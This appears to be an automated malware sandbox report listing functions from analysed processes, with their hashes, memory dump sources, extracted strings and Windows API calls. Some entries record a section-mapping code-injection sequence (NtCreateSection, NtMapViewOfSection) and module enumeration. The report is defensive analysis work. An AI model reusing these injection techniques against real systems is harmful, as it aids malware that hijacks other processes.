Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0de8c96e308dc89a29d8a1a55691b7ed571b8c24adcec8239b49f7916ce6b8ad
Instruction ID: 451853c717027375f80ea651228c96f9cb3e113c53b9644e4c4af105a9143f48
Opcode Fuzzy Hash: 0de8c96e308dc89a29d8a1a55691b7ed571b8c24adcec8239b49f7916ce6b8ad
Instruction Fuzzy Hash: 7D518121A0874281E690EB25E480374FB90FB08795FC40533DE6D67B95CF3CE665D362

Function 00007FF7E3593C20 Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,00007FF7E3593D9F,?,?,?,00007FF7E35A006A), ref: 00007FF7E3593C6A
LeaveCriticalSection.KERNEL32(?,?,00000000,00007FF7E3593D9F,?,?,?,00007FF7E35A006A), ref: 00007FF7E3593CAC
EnterCriticalSection.KERNEL32(?,?,00000000,00007FF7E3593D9F,?,?,?,00007FF7E35A006A), ref: 00007FF7E3593CD7
LeaveCriticalSection.KERNEL32(?,?,00000000,00007FF7E3593D9F,?,?,?,00007FF7E35A006A), ref: 00007FF7E3593CF8

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 99be274ada0fb868839034c500c2fa40c65a7dde01cde5b2fecab08216d2b082
Instruction ID: 58d2823bfe41f13bd611ed3438e2b5ae3955b30dfdde644da83564dae7f78520
Opcode Fuzzy Hash: 99be274ada0fb868839034c500c2fa40c65a7dde01cde5b2fecab08216d2b082
Instruction Fuzzy Hash: F521F121A1890791FA90EB24E8C63B4BB54EF18392FC50237E92D65AD5DF7CD174C3A2

Analysis Process: AddInProcess32.exePID: 3960, Parent PID: 968COMMON

Executed Functions

Function 00F10808 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p, xrefs: 00F10802

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID: p
API String ID: 0-2181537457
Opcode ID: 8a862624c9c8d19efa1d26523557a9dd9aec59f6d0bedcae5372ede4c36b5f57
Instruction ID: c324cf5d125bb8192cef44f8f6ca7c753f1731bc8e09bb09a925063f2708de42
Opcode Fuzzy Hash: 8a862624c9c8d19efa1d26523557a9dd9aec59f6d0bedcae5372ede4c36b5f57
Instruction Fuzzy Hash: 5D113631D1D216DBDB11EBB488947FE27A1AB95330F140515D041AB2D5CFE41CC6EBE2

Function 00F1156A Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

$n, xrefs: 00F1158F

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $n
API String ID: 0-1571361842
Opcode ID: 03df9b75274bdd36b402edcf94e9e9b4215b1db9794d3edb5efd0805de566739
Instruction ID: 1c5841ec0562ca89731591f69ef30b249003bb06ea5cce833d374c1ae91a91ed
Opcode Fuzzy Hash: 03df9b75274bdd36b402edcf94e9e9b4215b1db9794d3edb5efd0805de566739
Instruction Fuzzy Hash: B7F0AF22A0D3811FC7136378A8216AE3FA26EC325071D45BFD146DF692EE255D0A97E3

Function 00F12609 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88bcc2927451ed5caf0a91060ca89b1380662f9b465456354d93562fa8966d9a
Instruction ID: 964ae5d60971af1113bcaf171f67fb7bd71155ab6970af45f0144fddd560db08
Opcode Fuzzy Hash: 88bcc2927451ed5caf0a91060ca89b1380662f9b465456354d93562fa8966d9a
Instruction Fuzzy Hash: 34F02B3170D3401FC7095369AD60AAA3FB6EFCFB10704007EEA09C7395DA2C4C0A93A1

Function 00F11658 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dcb206fc9742f6ab539f8d1687f780446586c606c9df4a8372183e0829a0d55
Instruction ID: 35d4cd613cd9bda713cd217bd6374aa44c17e056dce5b50e61b22cbadc4d9625
Opcode Fuzzy Hash: 7dcb206fc9742f6ab539f8d1687f780446586c606c9df4a8372183e0829a0d55
Instruction Fuzzy Hash: F1414F34B002088FDB15EB69C554BEDBBF2BF88310F248169D416AB395CB75EC82DB91

Function 00F11648 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65f8a4f75e1403c7df0ac671347624f3740a22d496bb5495712f2c57f420121f
Instruction ID: 15dad50e237af20eceb82d284cbdaa31b042798e46b546a76e37abaa04b70f47
Opcode Fuzzy Hash: 65f8a4f75e1403c7df0ac671347624f3740a22d496bb5495712f2c57f420121f
Instruction Fuzzy Hash: DF416234B002088FCB15EB65C554BEEBBF2BF88310F248169D416AB395DB35EC82DB91

Function 00F108DD Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a24d092a3ab5890e4705950d7d5cfd3577e62196395d6202e78120355d44db
Instruction ID: 72d7f0bb59c75336cd4d15668d975b369ea07f8fba15c90387e995aca28b453d
Opcode Fuzzy Hash: c6a24d092a3ab5890e4705950d7d5cfd3577e62196395d6202e78120355d44db
Instruction Fuzzy Hash: 2821C330B04154CFDB04EB65C4657BE32A2BB84710F244168E102EB3A5CFB88DC2A7D1

Function 00F108E6 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6a41e36882339be3a0502e9f079fc97e0cb7a5ca64cac7ec59ab8d1d78bd20e
Instruction ID: e7de40d168c4c8e0e897f1bc9acd976e68331a25c515d914b181bd8c1786bf74
Opcode Fuzzy Hash: e6a41e36882339be3a0502e9f079fc97e0cb7a5ca64cac7ec59ab8d1d78bd20e
Instruction Fuzzy Hash: 31119030B04254CBDB18EB75C8657AE32A2BBC4710F244568E102EB7A5CFB88CC2A7D1

Function 00F108F9 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1d0dd1e29b93071f9d7fdaf3febe148e2f7b8239b254e012bd78828d709824
Instruction ID: a6a19e6deed670ddfeafecce32b5a0fc9b32b09d86071a2c60d6ee4ab51b151d
Opcode Fuzzy Hash: 6a1d0dd1e29b93071f9d7fdaf3febe148e2f7b8239b254e012bd78828d709824
Instruction Fuzzy Hash: 76118130B04154CBDB14EB7584657AE32A2BBC9714F644569E102EB7A5CFB88CC2A7D1

Function 00F11CB0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970defb427ddad91244a2ee68e815ae093adfe63d304017aa79d2778963f989c
Instruction ID: cb1c8cfc67a4d867f37bb4ff0389727b9d511296837e0958271a357e57194799
Opcode Fuzzy Hash: 970defb427ddad91244a2ee68e815ae093adfe63d304017aa79d2778963f989c
Instruction Fuzzy Hash: FB01F274B082412FCB25AB78B8949BF7BE6EBC4720314823DE149CF395EE64DC028791

Function 00F10848 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79a60c9ed62afff884d55a79e9ffce3afbb9eb8c19167e5445b4ee05224e580
Instruction ID: d810880626af8f0cd32937a9af2f320b52d5d91e795fab79e328af07ec86cdbb
Opcode Fuzzy Hash: e79a60c9ed62afff884d55a79e9ffce3afbb9eb8c19167e5445b4ee05224e580
Instruction Fuzzy Hash: 84015230A051149BDB54AB65C859BEE76B2AB89710F140528E442BB391CFB85C8597D1

Function 00F11CC0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3937b4b9421ece821a14e57279906b6c685aa9bc78058270e5fe8a80ef0d2a
Instruction ID: 877e284b130425392016ed3b2ce50f136f4aec7230fe5c6950c7a9c62e0a90d4
Opcode Fuzzy Hash: 1c3937b4b9421ece821a14e57279906b6c685aa9bc78058270e5fe8a80ef0d2a
Instruction Fuzzy Hash: CCF0C274B042112BCB14BB69F8949AF77EAEBC4760300813DE509CF354EE70EC428790

Function 00F11752 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173ca7dad818ba5f45a1ba7c3a1a75b6fc2e4f4f8aa353aeb71dc47553313408
Instruction ID: 8568d9f08033d56247885d4ca02d814638b54b884ae224889012c7e190393b1a
Opcode Fuzzy Hash: 173ca7dad818ba5f45a1ba7c3a1a75b6fc2e4f4f8aa353aeb71dc47553313408
Instruction Fuzzy Hash: 6C016D35B002048BCB25EB68E8906EDB7F3BFC8310B144529D5169B355CB75AC469B92

Function 00F10957 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 236ae1a6aad2d10db67fd587126153790abc12ecace0e5977ec663c101e18484
Instruction ID: 7342fd201bb5fc5c94534ba2c32834b84c78a968aac57c16cb932565116e413d
Opcode Fuzzy Hash: 236ae1a6aad2d10db67fd587126153790abc12ecace0e5977ec663c101e18484
Instruction Fuzzy Hash: C0F08C30A15118CBDB14EF65C8557EE72A2BB88320F240529E002AB791CFB88CC2A7D2

Function 00F117E8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9be1e4eb749efe209c242ca0d98d5d172a28a5fa3d11a20f2c3485b5b71551eb
Instruction ID: e64e716592a121e7f3e3876c4c4a701f5ec286b51f7332b817e41234267b600f
Opcode Fuzzy Hash: 9be1e4eb749efe209c242ca0d98d5d172a28a5fa3d11a20f2c3485b5b71551eb
Instruction Fuzzy Hash: 8CE0223230D2941FDB46176C6820DBA3FA68FC9760B09027AE24AC7795CE688C0B93D1

Function 00F129F8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260eed8f18063c1f83da398a94f584e0e1adc3baa1dc3cecdf550918b8073a1b
Instruction ID: 1e5425ad1a468bfc9a6bf6525c673a3d29e9c9dd0e3eed179049a97cecf7de3b
Opcode Fuzzy Hash: 260eed8f18063c1f83da398a94f584e0e1adc3baa1dc3cecdf550918b8073a1b
Instruction Fuzzy Hash: 03E0DF357042102BC709276CE910BAB77EACFC9BA0F090029FA09D7385CF685C1363E0

Function 00F11C50 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2528733341.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f10000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7289bc56d6c139517337039f05f473077836bdcadd1d5cc2780a8761d92f65b
Instruction ID: dc044af07cd68b813200cadab9803ac44f2b04760acbdc6e0b319ceece920d7f
Opcode Fuzzy Hash: a7289bc56d6c139517337039f05f473077836bdcadd1d5cc2780a8761d92f65b
Instruction Fuzzy Hash: 22D01274905108EF8B00EFA4E94199EB7B9DB84600B1041AED808E7210DA322F019791

Analysis Process: xJOdjN6fVDYC0Ta4cXD9JBiF.exePID: 7280, Parent PID: 3960COMMON

Non-executed Functions

Function 04C2EAFF Relevance: 14.0, Strings: 11, Instructions: 221COMMON

Download Yara Rule

Strings

2, xrefs: 04C2EBED
&, xrefs: 04C2EBE1
b, xrefs: 04C2EBE5
!, xrefs: 04C2EBFD
], xrefs: 04C2EBF5
<, xrefs: 04C2EC01
$, xrefs: 04C2EBF1
/M, xrefs: 04C2EB04
SH1A, xrefs: 04C2EC26
C, xrefs: 04C2EC05
$, xrefs: 04C2EBF9

Memory Dump Source

Source File: 00000007.00000003.1321698653.0000000004C2C000.00000004.00000020.00020000.00000000.sdmp, Offset: 04C1F000, based on PE: false

Associated: 00000007.00000003.1317885290.0000000004C1F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4c1f000_xJOdjN6fVDYC0Ta4cXD9JBiF.jbxd

Similarity

API ID:
String ID: !$$$$$&$/M$2$<$C$SH1A$]$b
API String ID: 0-2398759843
Opcode ID: 3f6b7b1e932983fc4636392aa991161f8d555b32f8d4155b5de9dfa49d88fc84
Instruction ID: 4d48f41456c350bb102e59cec3f95c765311fef2a067ed52ceb6768f7d489ecb
Opcode Fuzzy Hash: 3f6b7b1e932983fc4636392aa991161f8d555b32f8d4155b5de9dfa49d88fc84
Instruction Fuzzy Hash: 4B91A530C0429DDEEF25DBA4C944BEDBB75AF16308F1485D9D10677281DBB42B88DBA1

Function 04C2EAFF Relevance: 14.0, Strings: 11, Instructions: 221COMMON

Download Yara Rule

Strings

], xrefs: 04C2EBF5
SH1A, xrefs: 04C2EC26
&, xrefs: 04C2EBE1
$, xrefs: 04C2EBF9
<, xrefs: 04C2EC01
!, xrefs: 04C2EBFD
C, xrefs: 04C2EC05
/M, xrefs: 04C2EB04
$, xrefs: 04C2EBF1
2, xrefs: 04C2EBED
b, xrefs: 04C2EBE5

Memory Dump Source

Source File: 00000007.00000003.1321698653.0000000004C2C000.00000004.00000020.00020000.00000000.sdmp, Offset: 04C2C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4c1f000_xJOdjN6fVDYC0Ta4cXD9JBiF.jbxd

Similarity

API ID:
String ID: !$$$$$&$/M$2$<$C$SH1A$]$b
API String ID: 0-2398759843
Opcode ID: 17548ea9846a4a0f10ef20a8c86725d7ab0b9de170c04dcbf3e3529071c6332b
Instruction ID: 4d48f41456c350bb102e59cec3f95c765311fef2a067ed52ceb6768f7d489ecb
Opcode Fuzzy Hash: 17548ea9846a4a0f10ef20a8c86725d7ab0b9de170c04dcbf3e3529071c6332b
Instruction Fuzzy Hash: 4B91A530C0429DDEEF25DBA4C944BEDBB75AF16308F1485D9D10677281DBB42B88DBA1

Analysis Process: PZ3hKWPffUrXuh6Gjn77Ivv1.exePID: 7308, Parent PID: 3960COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	45%
Signature Coverage:	44%
Total number of Nodes:	109
Total number of Limit Nodes:	4

Executed Functions

Function 00401524 Relevance: 10.7, APIs: 7, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0589a186aaf54ab9e34ef1409c0e3bd6669b76e0db207e0b32d8ee79fde39b
Instruction ID: 3423bc01ac4f23736aca193bd8ce0b677c435782841011dc968e413a06447a3e
Opcode Fuzzy Hash: ec0589a186aaf54ab9e34ef1409c0e3bd6669b76e0db207e0b32d8ee79fde39b
Instruction Fuzzy Hash: 4781CFB1500208BFDB209FA1DC89FABBFB8FF85710F10002AF952BA1E0D6759945CB65

Function 00401615 Relevance: 10.7, APIs: 7, Instructions: 204
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401725
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401743
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401784
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017B5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017D7

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 51aea8e4bab5c1fcf6e4467ccf11cb59c1a8cda3da8b4103b7978e3a0cf5edd1
Instruction ID: a4a30113af8e0dba67415144994249baddb0a1b9eea12a3ecfbdd2b7a77b6b5b
Opcode Fuzzy Hash: 51aea8e4bab5c1fcf6e4467ccf11cb59c1a8cda3da8b4103b7978e3a0cf5edd1
Instruction Fuzzy Hash: B16160B0A04204FBEB209F95CC59FAFBBB9FF85700F14012AF912BA1E4D6759941CB65

Function 00401635 Relevance: 10.7, APIs: 7, Instructions: 178
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401725

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 65273b328aa836d1c8ef135f831071b3c0bd7089d9bb5908dabae89f1d3e14fc
Instruction ID: 3fb00a2a449b0bf69def1bd66bbf1e23b36e7d6b3741b7ef4c3438294d77159f
Opcode Fuzzy Hash: 65273b328aa836d1c8ef135f831071b3c0bd7089d9bb5908dabae89f1d3e14fc
Instruction Fuzzy Hash: 48514BB1900245BFEB208F91CC49FABBBB9FF85B10F140169F911BA2E5D6759941CB24

Function 0040162D Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401725
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401743
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401784
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017B5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017D7

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7cce7ca2c81922fdd57f436713529b55977ba2092893eab35f95f5ad939aedda
Instruction ID: aa686160c5e479dc60cd3c6abf7d34016e244b0820b9c6a6449991f1b23776f6
Opcode Fuzzy Hash: 7cce7ca2c81922fdd57f436713529b55977ba2092893eab35f95f5ad939aedda
Instruction Fuzzy Hash: F1513BB1900209BFEB208F91CC48FAFBBB8FF85B10F140129F911BA2E5D6759945CB24

Function 00401620 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401725
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401743
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401784
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017B5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017D7

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 12b8ac929dc161cd787772d3b0c17c9a63962b5a64d089a0a0b4311b045f45cc
Instruction ID: 248f23169df6d57de1173162bb8fcbefd5e68f0f1e7bb912041edb2cf68793e3
Opcode Fuzzy Hash: 12b8ac929dc161cd787772d3b0c17c9a63962b5a64d089a0a0b4311b045f45cc
Instruction Fuzzy Hash: 11512AB0900245BFEB208F91CC48FAFBBB8FF85B00F14016AF911BA2E5D6759941CB24

Function 00401658 Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016D5
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401702
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401725
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401743
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401784
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017B5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017D7

Memory Dump Source

Source File: 00000008.00000002.1629470404.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: aa98929751f72b2856ef190e74a7c0d3b4de1d989d606075f79a5f41b676d3e0
Instruction ID: 4b61e56e2161a851a120027933825f601e9725a76b72e0f731e8dd48e05b5e19
Opcode Fuzzy Hash: aa98929751f72b2856ef190e74a7c0d3b4de1d989d606075f79a5f41b676d3e0
Instruction Fuzzy Hash: FC51F7B5900249BFEF209F91CC88FAFBBB9FF85B10F100159F911AA2A5D6749944CB24

Function 030225B2 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 030225DA
Module32First.KERNEL32(00000000,00000224), ref: 030225FA

Memory Dump Source

Source File: 00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0301B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_301b000_PZ3hKWPffUrXuh6Gjn77Ivv1.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a7fcb4115a01bc6dd16579a430e37e8a6d8a79b8a5add302e505addf6ec0148c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 93F0F6365023306FD7A07BF8A88CB6EBAECBF49220F140929E643D14C0DBB0E8458761

Function 02E1003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02E1024D

Strings

kernel32.dll, xrefs: 02E1008F, 02E10095
cess, xrefs: 02E1018D

Memory Dump Source

Source File: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

